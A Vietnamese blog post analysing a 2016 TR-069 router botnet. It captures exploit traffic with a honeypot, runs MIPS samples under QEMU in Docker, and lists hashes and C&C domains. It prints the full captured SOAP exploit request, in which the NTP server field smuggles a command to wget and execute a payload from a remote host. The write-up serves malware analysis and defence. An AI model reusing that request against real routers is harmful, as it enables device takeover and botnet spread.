Phân tích nhanh TR069 Botnet

By | 1:30 am | 01/12/2016

Phân tích nhanh TR069 Botnet

Một mã độc khai thác TR069 được công bố gần đây đang được khai thác trên diện rộng. Thực hiện phân tích nhanh một số mẫu tải về sử dụng Docker, Qemu và Tcpdump, ta thu được tên miền C&C là tr069[.]support and tr069[.]online

Giới thiệu

Một vài bài viết về lỗ hổng TR069 xuất hiện gần đây:
http://arstechnica.com/security/2016/11/notorious-iot-botnets-weaponize-new-flaw-found-in-millions-of-home-routers/
Recent vulnerability in Eir D1000 Router used to spread updated version of Mirai DDoS bot
https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

Hàng triệu router tồn tại lỗ hổng Remote code Execution, các router này đều do Zyxel và Speedport sản xuất. Nguyên nhân là cổng 7547 trên router được mở để nhận lệnh qua giao thức TR-069 và TR-064 (giao thức để các ISP quản lý thiết bị từ xa).
Để thực hiện phân tích, ta setup một web server chạy trên cổng 7547, và forward cổng TCP 7547 qua router.

Phân tích

Chưa đầy 5 phút đã có những requests độc hại được nêu trong các bài viết trên, một số requests có dạng như sau:
Code:
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 519

<?xml version=”1.0″?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body>
<u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>
<NewNTPServer1>`cd /tmp;wget http://srrys.pw/1;chmod 777 1;./1`</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Lệnh khai thác lỗ hông RCE được chèn vào:

<NewNTPServer1>`cd /tmp;wget http://srrys.pw/1;chmod 777 1;./1`</NewNTPServer1>

Gửi requests download tới các url từ 1-10 hxxp://srrys[.]pw/1 tới hxxp://srrys[.]pw/10 , ta thu được 7 file, có thông tin như sau:

$ file *
1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
2: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
5: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
6: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
7: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped

…mã SHA256 hashes…

971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a 1
9f9c38740568cbe1fbb8171b1ad4221c43790ff106623555868abf76f9672e53 2
1fce697993690d41f75e0e6ed522df49d73a038f7e02733ec239c835579c40bf 3
828984d1112f52f7f24bbc2b15d0f4cf2646cd03809e648f0d3121a1bdb83464 4
c597d3b8f61a5b49049006aff5abfe30af06d8979aaaf65454ad2691ef03943b 5
046659391b36a022a48e37bd80ce2c3bd120e3fe786c204128ba32aa8d03a182 6
5d4e46b3510679dc49ce295b7f448cd69e952d80ba1450f6800be074992b07cc 7

Nếu đã từng theo dõi các mối đe dọa từ IoT thì sẽ thấy điều này quen thuộc, mã độc được biên dịch lại cho nhiều kiến trúc khác nhau, như trong ví dụ này: https://github.com/eurialo/lightaidra

Sử dụng phần mềm Radare2 để dịch ngược , thu được;

$ r2 1
Warning: Cannot initialize dynamic strings
— Change the graph block definition with graph.callblocks, graph.jmpblocks, graph.flagblocks
[0x00400260]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)

Code MIPS assembly, đã được obfuscated.

Phân tích malware động MIPS

Thuật ngữ “phân tích malware động” chỉ đề cập đến quan sát một phần của hành vi malware khi nó được thực hiện.
Để thực hiện, sẽ mô phỏng một thiết bị MIPS sử dung Qemu. Qemu là phần mềm mô phỏng, có khả năng mô phỏng nhiều loại phần cứng khác nhau. Qemu-mips: https://hub.docker.com/r/asmimproved/qemu-mips/
Docker là một công nghệ giúp dễ dàng chạy phần mềm mà không cần lo lắng về những thứ cấu hình phức tạp
Sử dụng docker với lệnh như sau:

$ docker run -it asmimproved/qemu-mips
root@0a5f2731be8e:/project#

Từ shell có được, chạy tcpdump để bắt đầu capture traffic ra file pcap

root@0a5f2731be8e:/project# tcpdump -w capture.pcap -n -U

Từ một cửa sổ lệnh khác, cấp quyền thực thi cho mẫu mã độc, và thực thi bằng lệnh sau:

$ docker exec -ti peaceful_spence bash
root@0a5f2731be8e:/project# chmod +x 1
root@0a5f2731be8e:/project# qemu-mipsel ./1

Kiểm tra file pcap khi mã độc thực thi, ta thấy mã độc scan một số IP với cổng 7547 và 5555 để mở rộng lây nhiễm.
Từ file pcap cũng tìm được 2 tên miền C&C là tr069[.]support and tr069[.]online


Kiểm tra thông tin whois của tên miền, thấy chúng đều mới được đăng ký:

$ whois tr069.support
Domain Name: tr069.support
Domain ID: fec618e5a8fd4ac7bbc5597a04696b08-DONUTS
WHOIS Server: www.gandi.net/whois
Referral URL: https://www.gandi.net
Updated Date: 2016-11-29T10:40:22Z
Creation Date: 2016-11-29T10:40:22Z

Kết Luận
Mã độc này không có gì phức tạp. Nó có thể không ảnh hưởng tới Network, nhưng một lượng lớn thiết bị có lỗ hổng trên Internet là cả một vấn đề. Đây là cách mà botnet xảy ra, và cũng là cách thực hiện các cuộc tấn công DDOS lớn xảy ra gần đây.